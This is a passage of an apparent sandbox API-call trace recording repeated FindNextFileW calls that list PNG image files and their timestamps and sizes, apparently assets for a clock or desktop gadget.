lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828d4d58, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x828d4d58, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x285d21c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x132, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_dot.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82888a9e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82888a9e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x285d21c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_h.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828aebfb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x828aebfb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x285f8327, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_m.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828d4d58, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x828d4d58, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x285f8327, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc63, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_s.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828d4d58, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x828d4d58, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2861e485, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7454, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_settings.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828faeb5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x828faeb5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2861e485, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x77b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8294716f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8294716f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2861e485, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_dot.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828faeb5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x828faeb5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2861e485, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_h.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82921012, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82921012, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x286445e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_m.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82921012, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82921012, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x286445e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_s.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8296d2cc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8296d2cc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2866a741, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7fb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_settings.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82993429, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82993429, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2866a741, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x876e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x829df6e3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x829df6e3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2866a741, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x141, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_dot.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82993429, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82993429, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2866a741, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_h.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x829b9586, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x829b9586, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x287c138f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_m.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x829b9586, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x829b9586, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x287c138f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc14, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_s.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a05840, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a05840, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x287e74ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x827b, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_settings.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a05840, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a05840, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x287e74ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3cfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a51afa, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a51afa, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x287e74ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_dot.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a2b99d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a2b99d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2880d64b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_h.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a2b99d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a2b99d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2880d64b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_m.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a51afa, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a51afa, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2880d64b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbde, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_s.png", cAlternateFileName="")) returned 1 [0080.551] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a51afa, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a51afa, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288337a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x51d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_settings.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a77c57, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a77c57, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288337a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6408, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aea06e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82aea06e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288337a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_dot.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a9ddb4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a9ddb4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28859907, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_h.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82ac3f11, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82ac3f11, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28859907, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_m.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aea06e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82aea06e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28859907, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb67, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_s.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b101cb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b101cb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2887fa65, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x702e, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_settings.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82cff384, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82cff384, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2887fa65, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_bottom.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d254e1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d254e1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288a5bc3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_divider_left.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d254e1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d254e1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288a5bc3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_divider_right.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d4b63e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d4b63e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288cbd21, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_left.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d4b63e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d4b63e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288f1e7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_right.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d4b63e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d4b63e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288f1e7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_top.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7179b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d7179b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288f1e7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_bottom_left.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7179b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d7179b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28a2296f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_bottom_right.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7179b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d7179b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28a2296f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_top_left.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d978f8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d978f8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28a48acd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_top_right.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d978f8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d978f8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28a48acd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x83, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d978f8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d978f8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28ae1045, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider_left.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d978f8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d978f8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b071a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider_right.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82dbda55, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82dbda55, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b2d301, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_disabled.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82de3bb2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82de3bb2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b2d301, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_hover.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82de3bb2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82de3bb2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b5345f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_pressed.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e09d0f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82e09d0f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b795bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_rest.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e09d0f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82e09d0f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b795bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_disabled.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e2fe6c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82e2fe6c, 